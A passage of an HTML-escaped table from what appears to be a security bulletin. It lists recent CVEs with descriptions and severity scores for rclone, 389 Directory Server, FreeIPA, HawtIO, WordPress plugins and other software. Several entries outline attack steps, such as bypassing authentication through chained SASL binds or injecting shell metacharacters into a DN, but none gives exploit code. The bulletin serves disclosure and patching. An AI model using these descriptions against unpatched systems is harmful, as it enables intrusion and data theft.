&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54393&quot; target=&quot;_blank&quot;&gt;CVE-2023-54393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 5.11.1 contains a denial of service vulnerability in LoginPacket JSON processing that allows remote attackers to crash the server by sending malformed JSON data. Attackers can exploit improper object initialization from scalar JSON types to trigger unset required properties, causing the application to crash.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-58381&quot; target=&quot;_blank&quot;&gt;CVE-2024-58381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.43.1 fail to properly validate the Certificate field during offline login authentication. Unauthenticated players can trigger an uninitialized property access error that crashes the server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86199&quot; target=&quot;_blank&quot;&gt;CVE-2026-86199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 5.41.1 contains a denial of service vulnerability in LoginPacket processing where large or complex structures in unknown clientData JWT properties cause excessive logging without sanitization. Attackers can send crafted LoginPackets with deeply nested or massive object structures to trigger out-of-memory conditions and crash the server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86201&quot; target=&quot;_blank&quot;&gt;CVE-2026-86201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Progress Software--Chef Automate&lt;/td&gt;
&lt;td&gt;A vulnerability in the Chef Automate API gateway and identity validation path may allow an unauthenticated actor to gain elevated access to protected Chef Automate functionality under specific conditions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80462&quot; target=&quot;_blank&quot;&gt;CVE-2026-80462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projeto-siga--siga&lt;/td&gt;
&lt;td&gt;A weakness has been identified in projeto-siga siga up to 11.1.1. Affected by this issue is the function DownloadExterno.getUrl of the file sigaex/src/main/java/br/gov/jfrj/siga/vraptor/ExUtilController.java of the component HTML-to-PDF Endpoint. This manipulation of the argument html causes server-side request forgery. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86273&quot; target=&quot;_blank&quot;&gt;CVE-2026-86273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;publishpress--User Role Editor PublishPress Capabilities: Access Control and User Roles&lt;/td&gt;
&lt;td&gt;The PublishPress Capabilities - User Role Editor, Access Permissions, User Capabilities, Admin Menus plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.50.0. This is due to the `addPluginCapabilities()` function unconditionally granting the Editor role all 15 `manage_capabilities_*` capabilities - including `manage_capabilities`, `manage_capabilities_roles`, `manage_capabilities_settings`, and `manage_capabilities_backup` - via a hard-coded `$eligible_roles = [&#039;administrator&#039;, &#039;editor&#039;]` assignment that runs automatically on the first `admin_init` after plugin activation with no administrator opt-in, persisting the grants directly to the database. This makes it possible for authenticated attackers with Editor-level access to elevate their privileges to a site-wide capability manager, enabling them to create, rename, and delete non-system roles, modify capabilities of non-administrator roles, restore role backups, and write arbitrary plugin options whose names begin with `cme_`, `capsman`, `pp_capabilities`, or `presspermit` via `update_option()`. The escalation stops short of full Administrator access, as WordPress&#039;s `map_meta_cap` layer still prevents the escalated Editor from granting administrator-only capabilities to other roles; however, all role-management and plugin-settings functionality gated solely on `manage_capabilities_*` capabilities remains fully accessible.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75927&quot; target=&quot;_blank&quot;&gt;CVE-2026-75927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PX4--PX4-Autopilot&lt;/td&gt;
&lt;td&gt;PX4 Autopilot through 1.17.0 contains a use-after-free vulnerability in the load_mon module&#039;s stop path where exit_and_cleanup() deletes the LoadMon object and frees the performance counter before perf_end() attempts to access it. Attackers can trigger this vulnerability by issuing the load_mon stop command from any PXH or MAVLink shell, causing reads and writes through freed memory that corrupt heap objects and destabilize the flight stack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86713&quot; target=&quot;_blank&quot;&gt;CVE-2026-86713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;quantumcloud--WPBot AI ChatBot for Live Support, Lead Generation, AI Services&lt;/td&gt;
&lt;td&gt;The WPBot - AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;conversation&#039; parameter in all versions up to, and including, 8.7.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The action is gated only by a nonce that is localized into every public-facing page via wp_localize_script, rendering the nonce check ineffective as an access control barrier for unauthenticated users.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83593&quot; target=&quot;_blank&quot;&gt;CVE-2026-83593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Velociraptor&lt;/td&gt;
&lt;td&gt;Velociraptor allows some sensitive artifacts to be gated by additional permissions. For example, the Linux.Sys.BashShell artifact allows arbitrary command execution on endpoints, and so it requires the EXECVE permission to schedule. However, no such check was implemented for client monitoring artifacts. Additionally there was no requirement that client monitoring artifacts carry the CLIENT_EVENTS type. This allows any user who can schedule client monitoring artifacts to also schedule otherwise restricted artifacts (such as Linux.Sys.BashShell).&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19583&quot; target=&quot;_blank&quot;&gt;CVE-2026-19583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Velociraptor&lt;/td&gt;
&lt;td&gt;Velociraptor allows for the creation of notebook backups in its default enabled daily backup feature. When Velociraptor restores the backup, the notebook cell content is interpolated into a template with no ACL checks. This allows a malicious user with NOTEBOOK_EDITOR permission to plant a VQL query which will be evaluated at elevated permissions if the notebook&#039;s backup is subsequently restored.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19584&quot; target=&quot;_blank&quot;&gt;CVE-2026-19584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rara Themes--Rara One Click Demo Import&lt;/td&gt;
&lt;td&gt;Rara One Click Demo Import plugin for WordPress before 1.3.5 contains an arbitrary file upload vulnerability that allows authenticated attackers with Administrator privileges to upload arbitrary PHP files by passing a false value to wp_handle_upload() that disables WordPress core&#039;s file type validation checks across all three file parameters in the process_uploaded_files() function. Attackers can upload a malicious PHP file to the uploads directory and execute it over HTTP to achieve remote code execution in the web server process, with the uploaded file persisting on disk even after plugin deactivation and leaving no media library record to evade standard integrity checks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-26212&quot; target=&quot;_blank&quot;&gt;CVE-2026-26212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, rclone serve s3 configured with --auth-proxy but without --auth-key allows authPairMiddleware to register any client-chosen accessKeyID with an empty ws.s3Secret. gofakes3 then verifies the request&#039;s SigV4 signature against that same empty secret, while Server.auth passes the access key identifier as both the user and authentication value to the proxy without an independent per-identity secret. An unauthenticated network attacker can therefore choose an arbitrary access key, sign with an empty secret, and reach whatever backend the auth-proxy script resolves for that identity. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88018&quot; target=&quot;_blank&quot;&gt;CVE-2026-88018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88044&quot; target=&quot;_blank&quot;&gt;CVE-2026-88044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, when backend/local runs with --links, a source .rclonelink object can plant a symlink in the destination and later directory metadata is applied through that path. MkdirMetadata, writeMetadataToFile, and setTimes operate when Directory.translatedLink=false, so os.Chown, os.Chmod, os.Chtimes, and birth-time handling can bypass os.Root confinement and follow the symlink. An attacker controlling source contents can therefore apply selected ownership, permissions, modification times, or birth times to a file or directory outside the destination, with --metadata required for chmod and chown while modification time is applied by the normal directory workflow. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88016&quot; target=&quot;_blank&quot;&gt;CVE-2026-88016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential&#039;s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88017&quot; target=&quot;_blank&quot;&gt;CVE-2026-88017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.75.0 until 1.75.1, the serve S3 streamed multipart path in cmd/serve/s3/multipart.go passes attacker-controlled contentLength to multipart.NewRW().Reserve before reading request-body bytes. waitForTurn admits the current part and one oversized part when the buffer is empty despite --multipart-streaming-buffer-limit, and lib/pool allocates 1 MiB pages according to Content-Length or X-Amz-Decoded-Content-Length. A network client can retain or multiply these reservations without sending the declared body, exhausting process or host memory or permanently blocking request handlers. Anonymous S3 deployments require no credentials, while deployments using auth_key require an accepted S3 key. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88045&quot; target=&quot;_blank&quot;&gt;CVE-2026-88045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RealMag777--WPCS&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in WPCS &amp;lt;= 1.3.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84816&quot; target=&quot;_blank&quot;&gt;CVE-2026-84816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel - HawtIO 4&lt;/td&gt;
&lt;td&gt;A flaw was found in hawtio-operator. The operator reads the OpenShift Service CA private signing key from the openshift-service-ca namespace and uses it to mint client certificates with a Subject Common Name (CN) supplied by the author of a namespaced Hawtio custom resource. Because the operator ships a ClusterRole that aggregates Hawtio CR permissions into the edit and admin roles, any user with edit access in any namespace can obtain a Service-CA-signed certificate with an arbitrary subject. This certificate can be used to impersonate any in-cluster service identity to peers that trust the Service CA for client authentication, including Jolokia agents and other Service-CA-trusting components.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78234&quot; target=&quot;_blank&quot;&gt;CVE-2026-78234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel - HawtIO 4&lt;/td&gt;
&lt;td&gt;A flaw was found in hawtio-operator. The operator&#039;s ClusterRole grants secrets: [create, get, list, update, watch] across all namespaces. While the operator uses a controller-runtime label-selector cache as a memory optimization, the ServiceAccount token authorizes read access to every Secret in the cluster. The operator also bypasses the cache via direct API calls. Compromise of the operator pod would yield read access to every Secret in the cluster, including bootstrap tokens, cloud credentials, and other operators&#039; secrets.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77968&quot; target=&quot;_blank&quot;&gt;CVE-2026-77968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel - HawtIO 4&lt;/td&gt;
&lt;td&gt;A flaw was found in hawtio-operator. When deploying Hawtio in cluster mode, the operator creates a cluster-scoped OAuthClient with automatic grant approval (GrantMethod: auto) and no client secret (public client). The redirect URIs are derived from the operator-created Route, whose hostname is tenant-controlled via the Hawtio CR spec.routeHostName field. A malicious tenant can register an arbitrary hostname as a valid OAuth redirect target and, because grants are auto-approved, obtain OpenShift access tokens of any cluster user who visits the crafted authorization URL without any consent prompt.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80219&quot; target=&quot;_blank&quot;&gt;CVE-2026-80219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ceph Storage 5&lt;/td&gt;
&lt;td&gt;A flaw was found in the memcached cache plugin of the community.general Ansible collection. Although its documentation states that records are stored in JSON format, the plugin performs no explicit serialization and relies on python-memcached, which pickles values on write and unpickles them on read. Because memcached is unauthenticated and cache keys are predictable, an attacker able to reach a network-exposed or shared memcached instance can write a crafted pickle payload that is deserialized and executed on the Ansible controller when the poisoned fact cache is next read, leading to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87874&quot; target=&quot;_blank&quot;&gt;CVE-2026-87874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Certificate System 9&lt;/td&gt;
&lt;td&gt;A flaw was found in Dogtag PKI, as used by FreeIPA&#039;s certificate authority component. The certificate profile import functionality does not fully validate uploaded profile content beyond the profile ID. An authenticated user with CA Administrator privileges can exploit Dogtag&#039;s ExternalProcessConstraint mechanism to execute arbitrary commands with attacker-controlled environment variables, achieving code execution as the pkiuser account.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76561&quot; target=&quot;_blank&quot;&gt;CVE-2026-76561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Directory Server 11.7 E4S for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in 389 Directory Server. During SASL PLAIN authentication, a stale identity carried in a Cyrus SASL auxiliary property from a prior failed bind attempt can be installed on a connection following a subsequent, unrelated successful bind, regardless of which SASL mechanism completes that second bind. An attacker can send a SASL PLAIN bind as cn=Directory Manager with an incorrect password, then complete a SASL ANONYMOUS bind on the same connection, causing the server to grant Directory Manager authority without any valid credentials. A variant using a valid low-privileged account&#039;s own successful bind instead of an anonymous one is also possible.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18922&quot; target=&quot;_blank&quot;&gt;CVE-2026-18922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Directory Server 11.7 E4S for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in 389-ds-base. The Cockpit 389 Console&#039;s LDAP editor constructs an ldapsearch command by embedding an LDAP entry&#039;s distinguished name (DN) into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft a malicious DN containing shell metacharacters. When a Cockpit administrator subsequently views the entry in the 389 Console, the embedded shell command executes with root privileges on the directory server host.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19843&quot; target=&quot;_blank&quot;&gt;CVE-2026-19843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Directory Server 11.7 E4S for RHEL 8&lt;/td&gt;
&lt;td&gt;A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server (389-ds-base). In sasl_io_start_packet(), the wrapped-record length read from the wire is validated only against an upper bound. A small wire length (0, 1, or 2) produces an encrypted_buffer_count below the already-consumed encrypted_buffer_offset, causing an unsigned subtraction underflow in sasl_io_read_packet(). PR_Recv is then requested to read approximately 4 GiB into a 1024-byte heap buffer, resulting in a heap buffer overflow with attacker-controlled content. After a successful SASL bind with integrity protection (SSF &amp;gt; 0), a remote authenticated attacker can cause a denial of service or potentially achieve remote code execution. This flaw is distinct from CVE-2026-11774, whose fix only guards against upper-bound overflow.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18355&quot; target=&quot;_blank&quot;&gt;CVE-2026-18355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Directory Server 11.7 E4S for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in 389 Directory Server. A missing NULL pointer check in the paged results handling of op_shared_search allows an unauthenticated remote attacker to crash the LDAP server by sending a crafted sequence of search requests using the USE_ONE_BACKEND control, resulting in denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18453&quot; target=&quot;_blank&quot;&gt;CVE-2026-18453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Directory Server 11.7 E4S for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in 389 Directory Server. The SELFDN ACI bind-rule evaluator incorrectly matches an anonymous LDAP client&#039;s empty bind DN against an empty stored attribute value, allowing an unauthenticated client to satisfy access control checks intended to require a matching authenticated identity. This can allow an anonymous LDAP client to perform an operation, such as adding or modifying a directory entry, that a SELFDN-based ACI intended to restrict to a specific authenticated user.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76560&quot; target=&quot;_blank&quot;&gt;CVE-2026-76560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry. An unauthenticated LDAP client can exploit this, combined with a related flaw in the underlying directory server&#039;s ACI evaluation (tracked separately), to create an arbitrary attacker-controlled Kerberos principal and have it added to the administrators group. This allows a remote, unauthenticated attacker to obtain genuine FreeIPA administrator-group membership and perform administrative operations against the directory and, on SID-enabled deployments, other IdM services.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76578&quot; target=&quot;_blank&quot;&gt;CVE-2026-76578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. By enticing a victim to click a specially crafted link and complete a password reset, the attacker could inject and execute arbitrary JavaScript code. This allows the attacker to perform actions within the victim&#039;s authenticated session, potentially leading to full administrative control if an IdM administrator is targeted.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18147&quot; target=&quot;_blank&quot;&gt;CVE-2026-18147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in FreeIPA&#039;s idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79678&quot; target=&quot;_blank&quot;&gt;CVE-2026-79678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in bubblewrap. During sandbox setup, creating files or directories under the new root can follow a parent symlink onto the host via /oldroot, writing attacker-chosen paths outside the sandbox as the launching user. This happens before the sandboxed process starts. This issue is GHSA-pxhw-h44j-8pfx. It is fixed in bubblewrap 0.12.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87766&quot; target=&quot;_blank&quot;&gt;CVE-2026-87766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in SSSD&#039;s IdP authentication provider. The eval_access_token_buf() function compares the OIDC subject identifier using strncmp() with the authenticated user&#039;s identifier length, performing a prefix comparison instead of an exact match. An attacker whose IdP identifier is a strict prefix of a target user&#039;s identifier can authenticate as the target user.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87853&quot; target=&quot;_blank&quot;&gt;CVE-2026-87853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74860&quot; target=&quot;_blank&quot;&gt;CVE-2026-74860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in crun. When crun is built with libkrun and a container is started rootful with passt networking (krun.use_passt), crun can execute attacker-controlled payload from the container image with host root privileges. The issue is a regression in crun 1.29. It affects crun &amp;gt;= 1.29&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84042&quot; target=&quot;_blank&quot;&gt;CVE-2026-84042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7&lt;/td&gt;
